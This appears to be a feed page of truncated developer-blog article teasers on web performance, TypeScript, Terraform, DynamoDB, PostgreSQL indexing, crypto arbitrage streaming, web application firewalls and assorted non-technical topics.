    Which of the following do you think is faster? direct DOM API calls (createElement, appendChild) assigning HTML strings to innerHTML Chances are you'll say the former is faster and most people would agree. Now, critical thinking to the rescue. Is this really, really true? At the end of the day, browsers have been optimised around parsing HTML for decades and writing HTML feels better than the raw DOM API, so... true or not, is is worth it at all? Thought it's time to test assumptions and hypotheses, both in extreme and more realistic scenarios. An extreme scenario is one where you render a view tens of thousands of times on a page. In a realistic scenario, you render a view once. Two simple functions on the scene. One builds the view by hand with createElement, setAttribute, appendChild…  ( 8 min )
    The Dual Mandate of Professionalism Why True Engineers Need External Validation as Much as Internal Skill
    In the high-speed, high-stakes world of modern development, a professional’s worth is measured by two inseparable metrics: the depth of their technical skill and the breadth of their public trust. It is a paradox of the digital age that the very transformation making us better technically (the shift from coder to engineer) must be validated by transparent, human feedback (public review platforms). My name is Simon Leigh, and as the Director of Pure Reputation, I spend my professional life at the intersection of expertise and trust. The two concepts—internal competence and external accountability—must converge, or the foundation of a career, or an organization, will prove fragile. We must understand that our professional value chain starts with a profound mindset shift happening within the …  ( 10 min )
    Generative Simulation Benchmarking for smart agriculture microgrid orchestration with zero-trust governance guarantees
    Generative Simulation Benchmarking for smart agriculture microgrid orchestration with zero-trust governance guarantees It was during a late-night research session analyzing energy consumption patterns in automated vertical farms that I had my breakthrough moment. While studying the complex interplay between renewable energy sources, crop growth algorithms, and security protocols, I realized that traditional simulation approaches were fundamentally inadequate for modeling the dynamic, multi-agent environment of modern smart agriculture microgrids. My exploration of quantum-inspired optimization algorithms revealed that we needed a paradigm shift—one that could generate realistic simulation environments while maintaining ironclad security guarantees. During my investigation of agricultural…  ( 11 min )
    Statistics Day 9: Bootstrapping Made Simple: The Easiest Way to Understand Resampling
    What do you do when your dataset is small, you can’t collect more data, and every conclusion feels unreliable? Most beginners think the only answer is: “Get more data.” They learned how to squeeze hundreds of new datasets out of one tiny dataset— This trick is called Bootstrapping, Let’s break it down in the simplest way possible. What is Resampling? Resampling means: Taking samples from your existing data again and again to learn more about the population. It is used when: Data is small You can’t collect more data You want to estimate accuracy or uncertainty Two main types: Method Meaning Bootstrapping A resampling method where you create many new datasets by sampling with replacement to estimate a statistic’s accuracy and uncertainty. Jackknife A resampling method where yo…  ( 8 min )
    8 Best WordPress Community Plugins for 2025
    Building an online community today is a lot like building a friendly neighborhood, but in the digital world. You need tools that help people connect, share, chat, and engage without friction. WordPress, being as flexible as it is, gives you countless WordPress community plugins to do exactly that. But with so many options out there, how do you pick the right ones? In this guide, I’ll walk you through the 8 best WordPress community plugins for 2025, all in simple language and with honest, human explanations. Think of this as your roadmap to creating a lively and interactive space that people will love to be part of. WordPress community plugins are tools that help you turn your website into an interactive online space where people can connect, communicate, and engage. Think of your website a…  ( 7 min )
    How to Protect Your Site from Cyber Attacks: Website Security Guide 2025
    Quick Answer: Implementing comprehensive website security requires a three-layer defense strategy: foundational protocols (HTTPS, WAF, secure authentication), continuous maintenance (updates, backups, secure hosting), and security-first development practices. According to cybersecurity research, 43% of cyber attacks target small businesses, making proactive security measures critical for all website owners. Why Website Security Matters in 2025 68% of data breaches involve human error or weak authentication systems Average cost of a website breach: $4.45 million (IBM Security Report 2024) Recovery time without proper backups: 7-14 days minimum 1. Foundational Security Protocols: Your First Line of Defense These core measures protect against 85% of common cyber attacks and build immedi…  ( 10 min )
    Preventing Accidental Interchangeability in TypeScript — Branding & the Unique Property Pattern
    TypeScript’s structural type system is convenient and flexible: two types are compatible when their shapes match. That convenience can become a problem when you want different domain concepts (e.g. UserId vs ProductId) to be treated as distinct even though both are plain strings or numbers. This post explains two effective patterns for making types nominal-like in TypeScript: branding (tagged types) and the unique property pattern (using unique symbol). You’ll get practical code, runtime-friendly factories and guards, and guidance about trade-offs and pitfalls. Example of the problem: type UserId = string; type ProductId = string; function getUser(id: UserId) { /* ... */ } const pid: ProductId = "p-123"; getUser(pid); // allowed — but this is probably a bug Because UserId and ProductId …  ( 9 min )
    API Integrations: High-Level Breakdown
    Introduction In modern backend engineering, API integrations are no longer “extra features”, they are the backbone of how systems communicate, automate, and scale. Whether you’re building a fintech product, a logistics platform, a telecom service, or a healthcare system, your application will eventually depend on external APIs for mission-critical operations. The challenge is that most engineers approach integrations as simple HTTP calls. In reality, designing reliable, secure, high-performance integrations requires thinking in terms of architecture, failure modes, resilience, abstraction layers, and long-term maintainability. In this breakdown, I explain API integrations the same way I would coach a backend engineer joining a large-scale engineering team. The goal is to shift your minds…  ( 9 min )
    What Every Programmer Should Know About Memory Part 2
    Why does your pointer not point where you think it does?. In the previous article What Every Programmer Should Know About Memory (Part 1), we covered sections 2 and 3 from the article: What Every Programmer Should Know About Memory by Ulrich Drepper. In this article, we will continue from where we left off and cover section 4 (yes, section 4 only). The previous article explored memory hierarchies from the ground up — how DRAM hardware works, why CPU caches exist, and practical optimization techniques like cache-line awareness and data structure layout. We examined the physical reality behind the "flat array" abstraction and learned why memory access patterns matter for performance. In this article, we continue with section 4 of Ulrich Drepper's paper, diving deep into Virtual Memory — th…  ( 14 min )
    Deploying Microservices (Python+Nodejs) to AWS ECS Fargate Using OpenTofu + Docker Hub + ALB (Complete Step-by-Step Guide)
    Modern applications often consist of multiple microservices running independently. In this guide, we will deploy two microservices (Node.js + Python Flask) to AWS ECS Fargate, automatically: Building Docker images Scanning with Trivy Pushing to Docker Hub Deploying to ECS Fargate with Application Load Balancer Routing paths /users and /orders All using OpenTofu (Terraform alternative). microservices-ecs-tofu/ ├── services/ │ ├── user-service/ │ │ ├── Dockerfile │ │ ├── app.js │ │ ├── package.json │ │ └── node_modules/... │ └── order-service/ │ ├── Dockerfile │ ├── app.py │ └── requirements.txt └── tofu/ ├── ecs.tf ├── iam.tf ├── network.tf ├── main.tf ├── terraform.tfvars ├── variables.tf └── scripts/ └── build_scan_…  ( 9 min )
    Orchestrating Nature: AI-Powered Birdsong Soundscapes by Arvind Sundararajan
    Orchestrating Nature: AI-Powered Birdsong Soundscapes Ever tried building a realistic outdoor scene only to find the birdsong sounds repetitive and lifeless? Creating truly dynamic and diverse natural soundscapes has always been a challenge, requiring extensive recording libraries or complex manual sound design. Now, imagine an AI that can compose entire ecosystems of birdsong, dynamically shifting with time and space. This breakthrough involves algorithmic sound synthesis combined with spatial audio rendering. Instead of relying on pre-recorded samples, the system uses mathematical models to generate individual bird calls, mimicking the complex frequency modulations and amplitude envelopes characteristic of each species. This generative approach allows for an endless variety of realisti…  ( 7 min )
    Google Cloud Powers NATO's AI-Powered Sovereign Cloud Revolution
    In a significant development in the world of cloud computing and artificial intelligence (AI), NATO has announced a multi-million dollar deal with Google Cloud to create an AI-enabled sovereign cloud. This partnership marks a major milestone for both parties, as it enables the integration of cutting-edge technology with security and data sovereignty. A sovereign cloud refers to a cloud computing environment that operates independently from any third-party service providers. It's essentially a cloud infrastructure owned and managed by an organization itself, providing control over data storage and processing. Sovereign clouds are gaining popularity among governments and institutions seeking to maintain data security and compliance with local regulations. The integration of AI technology int…  ( 7 min )
    Outil de Cybersécurité du Jour - Nov 25, 2025
    L'outil de cybersécurité incontournable : Wireshark Introduction Dans le monde connecté d'aujourd'hui, la cybersécurité est une préoccupation majeure pour les entreprises et les particuliers. Les cyberattaques sont de plus en plus sophistiquées et fréquentes, ce qui rend essentiel l'utilisation d'outils de cybersécurité efficaces. Parmi ces outils, Wireshark est un incontournable pour analyser le trafic réseau, détecter les failles de sécurité et garantir la protection des données sensibles. Wireshark est un analyseur de protocole réseau open source qui permet de capturer et d'inspecter le trafic en temps réel. Il est largement utilisé par les professionnels de la sécurité informatique et les administrateurs réseau pour analyser le comportement des réseaux, identifier les a…  ( 7 min )
    Building small web tools to visualize turbo pressure and temperature data from JAC S5 engines.
    Modern Haima engines include advanced electronic throttle control and multi‑point fuel injection systems optimized for low‑speed torque and emission efficiency. In daily repair operations, these systems often show calibration drift after 60,000 km due to sensor hysteresis and aged ignition maps. During the last months at our workshop in Tehran we observed several Haima repair shop units with inconsistent idle speed caused by slight mismatch between IAC stepper control and ECU baseline airflow table. Many technicians replace actuators before examining the adaptive fuel trims. But on Haima engines, the real issue often lies in the temporal alignment between throttle opening rate and manifold pressure transient. Using only an OBD snapshot isn’t enough — data logging under dynamic load (i.e., simulated hill climb) gives more reliable insights. The most stable correction we found was clearing the long‑term fuel trim (LTFT) values, running the idle learning cycle, and re‑mapping the ignition advance using a scanner that supports GDI adaptive tables. This can recover up to 5–8 % of lost efficiency. From a thermal standpoint, Haima’s radiator core is small relative to engine bay volume, which increases localized heat stress at the throttle body zone. Regular coolant replacement with G12++ improves the actuator’s life‑cycle notably. ⚙️ Engineering note: ECU synchronization and thermal equilibrium are inseparable in modern Haima vehicles; diagnostics should always consider both software behavior and heat‑transfer equilibrium rather than component isolation. Written from field observations as part of engine system diagnostics training in Tehran.  ( 6 min )
    No More Click Click Click
    I love programming and after exploring cloud and devops, I was almost giving up but terraform is sparking my interest again. I think I’m one of the few people who actually enjoy a formal introduction to things. Today was my official introduction to Terraform. I explored why Terraform exists, the problems it solves, the old-school way people used to interact with cloud platforms, and why Infrastructure as Code matters in modern engineering. If Terraform or IaC still sound new to you, here’s the simplest update: Infrastructure as Code is a way to create cloud resources using code instead of clicking around dashboards. Terraform is the most popular tool for this, letting you describe the infrastructure you want and then letting Terraform talk to the cloud provider on your behalf. Get started …  ( 7 min )
    PynamoDB Tutorial: Build Production-Ready DynamoDB CRUD APIs in AWS Lambda
    I've been building on AWS for multiple years now, and one of the most repetitive parts I found was writing crude operations for DynamoDB. Every project starts the same: use boto3 to define the table define a big JSON payload JUST to fetch some data from the table copy-and-paste methods from previous projects for all CRUD operations, basically adding boilerplate code That's when I found out about a library called PynamoDB , a lightweight ORM for DynamoDB tables and that changed the way I manipulate table’s data. Welcome to the part two of creating code for a real estate platform where in the first post we went over a pipeline of labeling main parts of the properties and now we're gonna go over Lambdas which are responsible for CRUD operations. The code in this post will be a shortened versi…  ( 13 min )
    The Inevitable Cloud Cost Debt
    If you're an engineer, you've likely been there: you receive an email from the VPE. "Our cloud burn rate is up 15% this quarter. Find the leak." Suddenly, you’re spending a week digging through Cost Explorer when you should be shipping features. This reactive loop is a system failure. The cost of an S3 bucket or an undersized Redis cluster isn't hidden; it's just hidden from the people making the deployment choices (the developers). The Solution: Move Cost Awareness to the Merge Request. Step 1: The Cost Budget Function The trick is to connect that plan to a cost estimator. Tools like Infracost or Terragrunt hooks can parse the plan output and give you a dollar estimate for new/modified resources. What we're looking for: A 'cost_impact_monthly' variable that appears for every single PR modifying infrastructure. Step 2: Implementing the CI/CD Gatekeeper We define two simple rules in our CI pipeline (e.g., GitHub Actions, GitLab CI): Low Impact Threshold (Green Path): If cost_impact_monthly is $100 (or $500, define your risk tolerance), fail the pipeline and require a specific /cost-approved comment from an Engineering Manager (or FinOps role) to proceed. This is the non-obvious shift: The friction is applied only when the financial risk is high. This makes the Engineering Manager the conscious gatekeeper for major spending, while preserving developer flow for minor changes. The Outcome: From Audit to Prevention By treating cloud spend as an observable artifact of the deployment pipeline, we turn a quarterly audit problem into a daily prevention system. Developers become cost-aware by default, and your VPE stops sending those embarrassing emails. You’ve successfully made the cheap way the easiest way to ship  ( 7 min )
    Engineering and DEI
    Background I understand why you might dislike DEI... I understand why some of you might have reservations about DEI. It's partly due to the disruptive actions of some radical minorities. The recent move to abolish DEI in the U.S. is fresh in memory, and there may be engineers who inwardly applauded this decision. In fact, some tech companies have removed mentions of DEI from their websites. From the standpoint of a Knowledge Architect, I must say that DEI is actually crucial for engineers. This is not about accepting the radical actions of a minority. It's a more fundamental and forward-thinking issue. It helps protect you and is especially pertinent, if not essential, for those in roles like engineering managers or staff engineers who have a broader organizational perspective…  ( 10 min )
    ✨ Daily Learning Update – Linux Fundamentals 🐧
    Today I learned Linux fundamentals, and it was a super valuable experience for me as an AWS & DevOps Engineer. 🤗 I understood how Linux is the backbone of most cloud environments, servers, and container systems like Docker & Kubernetes. It provides a secure, stable, and highly customizable platform, making it essential for automation, troubleshooting, and cloud deployment. Learning Linux is definitely boosting my confidence in building efficient cloud and DevOps solutions. 🚀 If you found this helpful, share your thoughts, experiences, or tips in the comments — I’d love to learn from you too! 😊 Linux was created in 1991 by Linus Torvalds as a free and open-source alternative to UNIX. The first Linux kernel was released publicly, allowing global developers to contribute and improve it…  ( 9 min )
    How Edge Computing Enables Real-Time Digital Transformation
    Edge computing is quickly becoming the backbone of real-time digital transformation. In a world where milliseconds matter—from autonomous vehicles making instant decisions to factories predicting equipment failures before they happen—businesses can’t rely solely on centralized cloud systems anymore. They need speed, reliability, and intelligence right at the source of data, and that’s exactly where edge computing steps in. Today’s enterprises are shifting toward real-time digital transformation, where automation, analytics, customer experience, and operational systems must respond instantly. This demand is pushing organizations to adopt edge-driven architectures that keep computation close to users, devices, and machines. Digital transformation used to revolve around cloud adoption. But as…  ( 8 min )
    Azure Storage Mover: How to migrate files from AWS S3 to Azure
    Moving files between environments can be a headache. Whether it’s from on-premises to Azure, or from AWS to Azure, there’s always the same challenge: how do you do it securely, at scale, and without reinventing the wheel? Traditionally, you might reach for tools like AzCopy, Azure Data Box, or Azure Migrate, but there’s a new option designed to make migrations smoother: Azure Storage Mover. In this post, I’ll walk you through what Azure Storage Mover is, highlight its new cloud-to-cloud migration capability for moving data from Amazon S3 to Azure Blob Storage, and show you how to get started. Azure Storage Mover became generally available in February 2022, it was launched as a fully managed hybrid migration service that made moving your files and folders to Azure easy. Azure Storage Mover…  ( 11 min )
    How to deploy a PHP application in InfinityFree
    Step 1: Account Setup Step 2: Upload Project Files Open File Manager: In the cPanel, find and click "Open File Manager". *Step 3: Set up the Database * Import Database: In phpMyAdmin, go to the "Import" tab. Click "Choose File", select your local .sql database file, and click "Go" to upload it. Step 4: Configure Your PHP Project Edit Configuration File: In the File Manager, locate your database configuration file (e.g., config.php, db.php, or similar). Open it for editing. Update Credentials: Change the localhost database credentials to the new InfinityFree credentials. You can find the required details (DB Hostname, DB Name, DB Username, DB Password) in your client area under "MySQL Details": DB Server (Hostname): This will be a specific hostname, not localhost. DB Username: A unique username generated by InfinityFree. DB Password: The password you set for the hosting account (or database password if you set one separately). DB Name: The name you provided when creating the database in cPanel. Save Changes: Save and close the configuration file. Your PHP project should now be deployed and accessible via the domain name you selected in Step 1. You may need to clear your browser cache to see the changes.  ( 7 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    ‘Two for the Money’ Rewatchables Recap Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday night parlay to revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They kick things off with a cold open, dive into the movie’s high-stakes betting dynamics, pick their most rewatchable scene, and roll out their signature rating categories. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is powered by Subaru’s Share the Love® Event and State Farm. Don’t forget to hit up The Ringer’s YouTube channels and social feeds to keep the conversation going! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back on the yellow brick road with “Everything Wrong With The Wiz In 15 Minutes Or Less,” poking fun at the classic now that Wicked’s back in theaters. They promise a rapid-fire rundown of every cinematic sin, while nudging you to explore their site, YouTube channels, and Linktree for even more film nitpicking. They’re also begging for your sinful opinions via a quick poll, asking for Patreon love, and inviting you into their Discord, Reddit, Instagram, and TikTok communities—plus you can follow their writers Jeremy, Aaron, Jonathan, Deneé, Ian, and Daniel across social media. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a snark-packed CinemaSins breakdown of the film, where the team rips into every plot hole, cheesy one-liner and over-the-top dance-fight moment. If you’ve ever wondered what it sounds like when nitpickers tackle K-Pop–fueled demon slaying, this video has you covered in signature Cinemasins style. Along the way you’ll find links to their main site, YouTube spinoffs (@TVSins, @CommercialSins), a fan poll, Patreon support and a Linktree for all the latest updates. They even shout out their writers and social handles, plus invite you to join the Discord and Reddit community for more sinful fun. Watch on YouTube  ( 6 min )
    Why Spirituality is Your Secret Superpower in Modern Life
    In a world that never seems to slow down, we are constantly chasing deadlines, notifications, and the next big thing. We are more connected than ever, yet many of us feel a growing sense of disconnection from ourselves and what truly matters. Amidst this digital noise and constant hustle, a quiet but powerful trend is emerging: a return to spirituality. But what does that even mean today, and why is it becoming so essential? Modern life often measures success in material terms: career advancements, financial gains, and social status. While these can be rewarding, they don't always fill the deeper human need for purpose. Spirituality offers a different lens through which to view life. It encourages you to look inward and ask the big questions: Who am I? What is my purpose? What brings me…  ( 8 min )
    Securing Cross-Border E-Commerce with SafeLine: A Case Study of Protecting an Independent Online Store
    For cross-border e-commerce businesses, the digital marketplace is filled with opportunities, but it also comes with its share of risks. When running an online store that serves customers in different countries, the website is constantly exposed to a range of cyber threats, from bot attacks and credit card fraud to data scraping and denial-of-service (DoS) attacks. One such e-commerce business, an independent store selling specialized products across multiple countries, faced a growing number of security challenges. After suffering from bot-driven fraud attempts, scraping, and some SQL injection attempts, the owner turned to SafeLine, a self-hosted Web Application Firewall (WAF), to enhance security, regain control, and ensure the integrity of the business. This case study details how Sa…  ( 9 min )
    The Library Heist: How PostgreSQL Indexes Are Like Planning the Perfect Crime (And Why You're Probably Using the Wrong One)
    The Crime Scene It was 2 AM on a Tuesday when my phone exploded with alerts. Our e-commerce platform was dying. Response times had ballooned from 200ms to 45 seconds. The CPU graphs looked like a heart monitor during a cardiac arrest. I logged in, hands shaking, coffee forgotten. The culprit? A seemingly innocent query: SELECT * FROM products WHERE description @@ to_tsquery('wireless bluetooth headphones') ORDER BY created_at DESC LIMIT 20; My "fix" from earlier that day: adding a B-Tree index on the description column. The problem: I'd brought a lockpick to a safe-cracking job. This disaster taught me something crucial: PostgreSQL indexes aren't just about "making queries faster." They're specialized tools, each designed for specific types of heists—I mean, queries. Using the wrong …  ( 15 min )
    Why Lithium Batteries Fail
    Understanding the hidden failure mechanisms in Li-ion/Li-polymer batteries for better hardware design. Lithium batteries power almost everything from IoT devices and wearables to drones and robotics. However, many developers struggle with unexpected battery failures — sudden drops in runtime, swelling, overheating, or even thermal runaway. Understanding why lithium batteries fail is crucial for makers, engineers, and hardware developers to build reliable devices. This article breaks down the technical causes, symptoms, and engineering considerations. Overcharging & Voltage Stress What happens: Charging a Li-ion battery beyond its maximum voltage (usually 4.2V per cell) leads to chemical stress: Formation of lithium metal on the anode (lithium plating) Breakdown of the electrolyte I…  ( 8 min )
    The No-Code and Low-Code Revolution: Building the Future Without Writing a Line of Code
    Overview No-code and low-code development platforms are transforming the way we create software. By replacing complex programming languages with intuitive visual interfaces, these tools empower almost anyone to build applications, automate workflows, and solve business problems. This movement is critical now because it addresses the pressing need for faster innovation and helps bridge the ever-widening gap between the demand for digital solutions and the limited supply of professional developers. Imagine having a brilliant idea for an app that could solve a major pain point for your team or customers. In the past, the path from idea to reality was a long and expensive one, requiring specialized coding skills and significant development resources. That barrier is crumbling. The rise of no…  ( 9 min )
    England's Circular Economy Growth Plan: What it Means for CRE
    The drive towards a circular economy in the UK is gaining momentum, with the Government's 'Circular Economy Growth Plan' for England now anticipated in the new year. This strategic shift, despite a slight delay from its initial autumn 2025 consultation target, signals a significant evolution in how industries, including commercial real estate (CRE), will approach resource management. For property owners and asset managers, understanding this impending framework is crucial, as it will shape future operational practices, compliance requirements, and investment decisions, moving away from a traditional 'take-make-dispose' model towards one that values reuse, repair, and recycling. The traditional linear economy model, prevalent for decades, has led to immense waste generation, resource deplet…  ( 8 min )
    Log Ordering in Distributed Systems
    Problem Definition Ordering log events produced across distributed systems is fundamentally constrained by the nature of independent physical clocks. Wall-clock timestamps cannot provide a reliable global sequence, because each machine maintains its own oscillator with unavoidable drift. Even under NTP or similar protocols, timestamp discrepancies accumulate continuously due to rate differences, network delays, and local scheduling effects. Any distributed operation introduces uncertainty in temporal order. Network latency, buffering, batching, and concurrency all contribute to the inability to determine whether two events across services occurred in a particular order when relying solely on physical time. The concept of temporal ordering is meaningful only within a single clock domain; …  ( 7 min )
    What Docker Image Tag Should You Actually Use?
    I’ve been working with containerized applications for a while, and one thing that always confused me in the beginning was Docker image tagging. I just followed whatever the team did, pushed images, and hoped things worked. But over time.. especially when handling multi-tenant apps, shared registries, and too many deployments. I started to see how bad tagging decisions can break everything. So here’s my experience and what I learned the hard way. The moment I realized “latest” is a trap When I first started using Docker, I thought: “Ah, just push it with latest. Simple.” Until one day, a tenant’s production environment suddenly rolled back to a previous version. Because someone else on the team pushed a new image with the same latest tag. The registry replaced it silently. The cluster pulle…  ( 8 min )
    SafeLine: A Modern Take on Self-Hosted Web Application Security
    The modern web is a battlefield. Between SQL injection attempts, automated credential stuffing, aggressive scrapers, and waves of bot traffic, every public-facing site is exposed to constant threats. To keep applications safe, developers and sysadmins have long relied on Web Application Firewalls (WAFs). Most teams default to cloud WAFs — offerings like Cloudflare, AWS WAF, or Akamai. They’re convenient and quick to deploy, but sometimes you need more than convenience. Maybe you need full control over traffic, maybe privacy regulations prevent you from routing data through third-party networks, or maybe the long-term subscription cost isn't appealing. That’s where self-hosted WAFs step in. And among the new generation of self-hosted solutions, SafeLine has been gaining traction for taking…  ( 8 min )
    Convert millisecond price gaps into real profits
    Building a Real-Time Crypto Arbitrage Monitoring System RisingWave Labs ・ Nov 25 #productivity #bitcoin #database #datascience  ( 6 min )
    The Art of AI Model Engineering: Fine-Tuning and Context Optimization
    There is a misconception that "AI engineering" is just typing clever phrases into a chat window. In reality, ai model engineering is a rigorous technical discipline focused on optimizing the performance, latency, and behavior of probabilistic models. For developers building vertical-specific applications, the out-of-the-box performance of a foundation model is rarely enough. You need to engineer the model to fit your domain. Context Engineering and Window Management ai model engineering starts with context. The "context window" is the RAM of your AI application. Context Stuffing: Strategies to fit the most relevant information into the prompt without exceeding token limits. Token Optimization: Compressing verbose JSON data into CSV or Markdown formats to save tokens and improve model reaso…  ( 7 min )
    My AI-Powered Cross-Platform UI with Hot Design
    🌟 What I Built I recreated a modern cross-platform UI inspired by a beautifully structured mobile dashboard layout. My goal was to take a clean, minimal interface concept and rebuild it using Uno Platform Studio Pro’s Hot Design tool, enhanced with the AI-powered Hot Design Agent. This concept was chosen because it allowed me to explore live UI adjustments, dynamic layouts, and Hot Reload synchronization — giving me full control over design refinement while the app was running. 🎨 Original Design Reference I selected a sleek mobile UI concept featuring: A hero header Card-based layout Rounded controls A modern light theme (Screenshots would appear here in the final post.) 🎥 Demo I built and ran the project across supported targets using Uno Platform. Running the app directly from the IDE…  ( 7 min )
    Building a Real-Time Crypto Arbitrage Monitoring System
    Arbitrage is a simple strategy. You buy an asset on one exchange where the price is low and sell it on another where the price is high. In crypto markets, these price differences, or spreads, appear and vanish in milliseconds. If your data pipeline takes five seconds to process a batch of prices, the opportunity is already gone. This post demonstrates how to use RisingWave—an open-source real-time event streaming platform—to detect arbitrage opportunities with sub-second latency using standard SQL. The Engineering Bottleneck Arbitrage requires monitoring fragmented liquidity across Binance, Coinbase, OKX, and DEXs simultaneously. This creates three specific engineering hurdles. Velocity: During volatility, you might ingest over 10,000 price ticks per second. Synchronization: You cannot c…  ( 11 min )
    Cloud Fax Intelligence: The Hidden Engine Behind Modern Compliance
    In many organizations, fax has quietly transformed from a loud, paper-driven chore into a silent digital backbone for secure, compliant communication. This evolution is not just about replacing machines; it is about redesigning how information flows through critical workflows across the healthcare, finance, legal, and government sectors. Traditional faxing chained teams to physical devices, manual dialing, paper jams, and filing cabinets, slowing down approvals and increasing the risk of misplaced or exposed documents. Digital fax platforms shift this work into the cloud, providing centralized control over transmissions, storage, and routing so that documents move quickly while remaining auditable and secure. Instead of printing and scanning, users send documents directly from core app…  ( 8 min )
    From Prototype to Production: The State of Generative AI Development in 2025
    The "hello world" phase of generative ai development is officially over. We have moved past the era where simply calling an OpenAI API was enough to impress stakeholders. As we settle into 2025, the focus for software engineers has shifted entirely from experimentation to reliability, observability, and cost-efficient scaling. Building production-grade generative systems requires a rigorous engineering mindset. It is no longer just about prompt engineering; it is about architectural patterns that ensure determinism in a non-deterministic environment. The most significant trend we are seeing is the move away from monolithic LLM calls toward compound systems. In professional generative ai development, reliance on a single model's raw output is often a recipe for hallucination and latency. In…  ( 7 min )
    How AI is Reducing Hiring Bias and Promoting Equal Opportunity in Recruitment
    This is where AI-powered recruiting is stepping in as a game-changer. With advances in automation, predictive analytics, and conversational AI, organizations are finally gaining tools that help remove bias, widen talent pools, and create a more equitable hiring experience for every candidate. Instead of replacing human recruiters, AI is becoming an intelligent partner—supporting better decisions, improving efficiency, and fostering fairness. This shift is reshaping recruitment practices across industries, making fair hiring not only possible, but scalable. Bias—whether conscious or unconscious—affects hiring decisions more than we often realize. Traditional recruitment heavily depends on human judgment, which can unintentionally favor certain backgrounds, education levels, appearances, or …  ( 9 min )
    Day 01: Why You Can’t Afford to Provision Infrastructure Manually Anymore
    Today marks the exciting start of the #30daysofawsterraform challenge with @piyush Sachdeva, and Day 01 immediately tackled the most critical question in modern cloud engineering: Why do we need Infrastructure as Code (IaC)? The key takeaway is that relying on the cloud console for infrastructure management is a recipe for scaling issues, high costs, and system inconsistencies. Our goal is to move from manual clicks to automated, version-controlled code. The Core Problem: Manual Cloud Operations Don't Scale Using the cloud console (GUI) might seem easy for creating a single resource, but complexity quickly leads to disaster in a production environment. Imagine provisioning a complex three-tier application. This involves setting up the Virtual Private Cloud (VPC), multiple servers (EC2), lo…  ( 8 min )
    What is Laravel Pint?
    Laravel Pint is a zero-configuration PHP code style fixer built specifically for Laravel projects. It automatically formats your PHP code to follow consistent styling standards without requiring manual setup or complex configuration files. Pint comes pre-installed with all new Laravel applications (version 9.21 and newer), so you can start using it immediately after creating a project. It works by scanning your PHP files and automatically fixing code style issues based on Laravel's opinionated coding standards. Laravel Pint is built on top of PHP-CS-Fixer, a popular PHP code formatting tool. The key difference is that Pint simplifies the setup process, while PHP-CS-Fixer requires complex configuration files written in PHP, Pint uses simple JSON configuration and works out-of-the-box with s…  ( 9 min )
    The Secret Life of Go: Variables & Types
    Chapter 2: Variables, Types, and the Art of Declaration The morning light streaming through the tall windows of the Whitmore Archive had a different quality today—sharper, more purposeful. Ethan arrived precisely at ten, as Eleanor had suggested, carrying two cups of coffee in a cardboard tray. The aroma of single-origin Ethiopian beans preceded him down the stairs. Eleanor looked up from her desk, one eyebrow raised in approval. "Bluestone Lane?" "They remembered you from yesterday," Ethan said, setting her cup down carefully. "The barista said 'the usual for the elegant woman who knows her coffee.'" "I may have been going there since 1994." Eleanor lifted the cup and inhaled. "Perfect. Now sit. Today we learn about identity." Ethan pulled out the spare laptop. "Identity?" "In Go, every…  ( 14 min )
    Pourquoi changer sera difficile… (Réflexion personnelle)
    Il m’arrive souvent, entre deux lignes de code, deux features à shipper ou deux idées de startup; de repenser à l’environnement dans lequel j’ai grandi. Un environnement qui, qu’on le veuille ou non, influence profondément notre manière de travailler, de penser, de créer et même de rêver. En RDC, beaucoup de gens ont vécu des situations qu’on aurait du mal à imaginer dans un pays “normal”. Des injustices tellement profondes qu’elles laissent des traces invisibles. Grandir dans ce contexte, ce n’est pas juste vivre. Je vois des jeunes déjà épuisés psychologiquement alors qu’ils n’ont même pas commencé leur vie. Le contraste le plus cruel ? Alors oui, changer sera difficile. Et pourtant, malgré tout ça, il existe une lueur. Peut-être que notre rôle, à nous, c’est d’allumer une lumière. Ce n’est pas un article technique. C’est juste… un rappel. Une pensée. Un morceau de vérité d’un développeur qui code dans un pays où, parfois, rien n’encourage à continuer mais où, paradoxalement, tout nous oblige à ne pas abandonner.  ( 7 min )
    Boost Developer Revenue with Monetzly's AI Conversation API
    Unlocking Sustainable AI Innovation: Monetizing Conversations with Monetzly In a world where AI applications are proliferating, developers face a significant challenge: how to monetize effectively without disrupting user experience. Enter Monetzly, the first dual-earning platform designed specifically for AI conversations. We’re building a three-sided marketplace that connects developers, advertisers, and users, creating win-win-win scenarios for everyone involved. As developers, you know the struggle of implementing monetization strategies without alienating your users. Subscription models and paywalls can deter engagement and undermine the very experience you strive to create. But what if there was a way to generate revenue while enhancing user experience? Monetzly offers a unique sol…  ( 7 min )
    What Can QA Teams Learn from Recent FDA Inspections at Rubicon Research (India)?
    Recent FDA inspections at Rubicon Research’s India facilities (Satara and Thane) have highlighted persistent GMP risks that matter to every pharma QA team: documentation gaps, inadequate process controls and validation, weak CAPA and complaint systems, and an increasing emphasis on data integrity and third-party oversight. QA teams should respond by tightening design-of-experiments and validation practices, rebuilding CAPA into a data-driven system, strengthening complaint triage and MDR-like reporting for combination products, and instituting rigorous data governance. Below you’ll find a detailed, actionable report with evidence, trends, and a step-by-step preparedness plan tailored for life-science and pharmaceutical manufacturers. This information is sourced from the Atlas Compliance to…  ( 13 min )
    🚀 New SaaS Website Template Added: "Database" Is Now Live
    We’re excited to announce a brand-new addition to Angular Material Blocks — introducing Database, a complete website template designed for SaaS products, developer tools, and modern cloud platforms. Database is built with the latest Angular ecosystem: Angular 20 Angular Material 20 Tailwind CSS 4 Zoneless architecture Light & Dark theme support Markdown docs using marked.js Shiki-powered code highlighting SaaS website template showcasing DataBase product with responsive desktop and mobile interfaces highlighting web application features Landing page for a modern database service with usage statistics and pricing information Database pricing page showing three subscription tiers with different features and pricing for Starter, Teams, and Business plans. Changelog is written using Markdown with custom angular components and redered using markedjs! Shiki is the goto highlighter for codes! And it was perfect fit for this template. Whether you’re launching a new SaaS, building a DevTool, or creating documentation for your product, Database gives you a professional, production-ready foundation to ship faster. 👉 Live Preview: https://template-database.angular-material.dev/ https://ui.angular-material.dev/templates#database https://ui.angular-material.dev/ If you have any feedback or need help integrating the template into your Angular project, we’re always happy to help! Happy coding!  ( 